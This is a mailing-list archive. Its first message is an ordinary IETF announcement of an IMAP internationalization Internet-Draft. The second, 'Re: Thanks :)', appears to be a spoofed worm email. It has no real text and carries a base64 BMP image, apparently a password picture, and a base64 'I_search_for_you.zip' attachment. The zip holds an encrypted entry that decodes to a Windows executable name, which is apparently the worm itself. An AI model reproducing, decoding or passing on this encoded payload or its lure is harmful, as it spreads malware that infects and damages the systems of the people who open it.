Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4SJipS2042781; Fri, 28 May 2004 12:44:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4SJipkd042780; Fri, 28 May 2004 12:44:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4SJioLV042773 for ; Fri, 28 May 2004 12:44:51 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28256; Fri, 28 May 2004 15:44:52 -0400 (EDT) Message-Id: <200405281944.PAA28256@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-i18n-02.txt Date: Fri, 28 May 2004 15:44:52 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : Internet Message Access Protocol Internationalization Author(s) : C. Newman, A. Gulbrandsen Filename : draft-ietf-imapext-i18n-02.txt Pages : 17 Date : 2004-5-28 Internet Message Access Protocol (IMAP) version 4rev1 has basic support for non-ASCII characters in mailbox names and search substrings. It also supports non-ASCII message headers and content encoded as specified by Multipurpose Internet Mail Extensions (MIME). This specification defines a collection of IMAP extensions which improve international support including comparator negotiation for search, sort and thread, language negotiation for international error text, and translations for namespace prefixes. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-i18n-02.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-i18n-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-i18n-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-28160826.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-i18n-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-i18n-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-28160826.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4SE9KpV002061; Fri, 28 May 2004 07:09:20 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4SE9KS3002060; Fri, 28 May 2004 07:09:20 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from gab54-1.org (fwdoc.estig.ipb.pt [193.136.195.3]) by above.proper.com (8.12.11/8.12.9) with SMTP id i4SE9Hf3002037 for ; Fri, 28 May 2004 07:09:18 -0700 (PDT) (envelope-from presnick@qualcomm.com) Date: Fri, 28 May 2004 15:14:59 +0000 To: "Ietf-imapext" From: "Presnick" Subject: Re: Thanks :) Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------spibhuwzrsuvwnbmmuzu" Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------spibhuwzrsuvwnbmmuzu Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------spibhuwzrsuvwnbmmuzu Content-Type: image/bmp; name="jkjlrxlxyr.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="jkjlrxlxyr.bmp" Content-ID: Qk2eDwAAAAAAADYAAAAoAAAAcwAAABEAAAABABAAAAAAAGgPAAAAAAAAAAAAAAAAAAAAAAAA /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9/ICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgKyAr ICsgKyArICsgKyArICsgKyArICsgKyArICsgKyArICsgK/9//3//f/9//3//fwAA/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//38AAP9//3//f/9//3//fyArICv/f/9//3//f/9//3//f9lvaUNpQ7VjICsgK/9/ /XeyWyArICuPU9x3/XeyWyArICuPU9x3/3//f2lDICu3Z/9/2GsgK2lD/3//f/9//3+1Y2lD aUO1Y/9//3//fyArICv/f/9//3//f5FXaUPZbyArICv/f/9/ICsgK/9//3//f/9//3/cd5FX ICtpQ7Vj/3//f/9//3//fyArICv/f/9//3+0XyArICu0X/9//3//f/9//38gKyAr/3//f2lD ICsgKyArICsgK/9//3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyAr/3//f/9//3//f/9/ /39pQyAr3HfYayArICv/f49TICvcd/13ICtsS49TICvcd/13ICtsS/9/3HcgKyArkVf/f7Jb ICsgK9x3/3//f7dnICvYa9hrICu3Z/9//38gKyAr/3//f/9/tF8gK9hrt2cgKyAr/3//fyAr ICv/f/9//3//f/9/j1MgK9x32GsgK7Rf/3//f/9//38gKyAr/3//f7RfICvYa9pvICu0X/9/ /3//f/9/ICsgK/9//3+0XyAr2Gv/f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ ICsgK/9//3//f/9//3//f/9/ICsgK/9//38gKyAr/3//f/9/2m+0XyAraUP/f/9/2m+0XyAr aUP/f7VjICsgKyAr/38gKyArICu1Y/9//39sSyAr/3//fyArbEv/f/9/ICsgK/9//3//f2lD ICv/f/9/ICsgK/9//3//f/9//3//f/9//3//f/9//3//f/9/ICtpQ/9//3//f/9/ICsgK/9/ /38gKyAr/3//fyArICv/fyArICsgKyArICsgK/9//XcgK2lD3Hf/f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//fyArICv/f/9//3//f/9//3//f9lvICuyW9x3ICsgK/9/2W9pQyAr ICtpQ9lv2W9pQyArICtpQ9lv/39sSyAr2W8gK7dnICvabyArbEv/f/9/ICsgK/9//38gKyAr /3//fyArICv/f/9//38gKyAr/3//fyArICv/f/9//3//f/9//3//f/9//3//f/9//3//fyAr ICv/f/9//3//fyArICv/f/9/aUMgK/9//38gKyAr/3+RV9lv/38gKyAr/3//f/9/2GsgK2lD /3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyArICsgKyArtF//f/9//3//f9tz tWOPUyArICv/f2lDICuPU9lv/3//f2lDICuPU9lv/3//f9x3ICuPU/9/ICsgK2lD/3+PUyAr 3Hf/f2xLICv/f/9/ICtsS/9//38gKyAr/3//f/9/aUMgK/9//38gKyAr/3//f/9//3//f/9/ /3//f/9//3//f/9//38gK2lD/3//f/9//38gKyAr/3//f7VjICvab9lvICu1Y/9/2m+RV/9/ ICsgK/9//3//f/9/kVcgK5FX/3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ICsgK/9/ /3+3ZyArtF//f/9/j1Pab/9/3HcgK2lD/39sSyAr/3/cdyArj1NsSyAr/3/cdyArj1O1YyAr 2Gv/f5FXICuyW/9/2GsgK7Vj/3+3ZyAr2GvYayArt2f/f/9/ICsgK9pv/3//f7RfICvYa7Rf ICsgK/9//38gKyAr/3//f/9//3//f5FXICvcd9hrICu0X/9//3//f/9/ICsgK/9//3//f2xL ICsgKyAr/Xf/f/9/bEvbcyArICv/f/9//3//f/9/bEsgK9hr/3//f/9//3//f/9//38AAP9/ /3//f/9//3//fyArICv/f/9//38gKyAr/3//f9x3kVcgKyArbEvab/9/3HePUyArICuRV9x3 3HePUyArICuRV9x3bEsgK/13/3+3ZyAr2W//f/9/ICtsS/9//3+1Y2lDICu1Y/9//3//fyAr ICuRV49T/3//f5FXbEvZbyArICv/f/9/ICsgK/9//3//f/9//3+RVyAraUMgK5FX/3//f/9/ kVf/fyArICv/f/9/slsgK9tz23MgK7Rf/3//f9lvtF8gKyAr/3//f/9//3//f9tzICtpQ/9/ /3//f/9//3//f/9/AAD/f/9//3//f/9//38gKyAr/3//f/9/ICsgK/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38gKyAr/3//f/9//3//f/9//3//f/9/ t2cgK9lv/3//f/9//3//fyArj1MgKyAr/3//fyArICv/f/9/ICsgK/9//3//f2xLICsgK/9/ /3//f/9//3//fyArICv/f/9//3//f/9//3//fwAA/3//f/9//3//f/9/ICsgK/9//3/YayAr slv/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ICsgK/9/ /3//f/9//3//f/9//3//f9pvICuyW/9//3//f/9//3/cd5FXICsgK/9//3+RVyAr23PbcyAr kVf/f/9//3/YayArICv/f/9/bEsgK9x33HcgK7Rf/3//f/9//3//f/9//38AAP9//3//f/9/ /3//fyArICsgKyArICuyW/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//fyArICv/f/9//3//f/9//3//f/9//3/9dyArICsgKyArICv/f/9//3//f7Jb ICv/f/9/3HeyWyArICuyW/13/3//f/9//39pQyAr/3//f9x3j1MgKyArtF//f/9//3//f/9/ /3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ AAA= ----------spibhuwzrsuvwnbmmuzu Content-Type: application/octet-stream; name="I_search_for_you.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="I_search_for_you.zip" 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 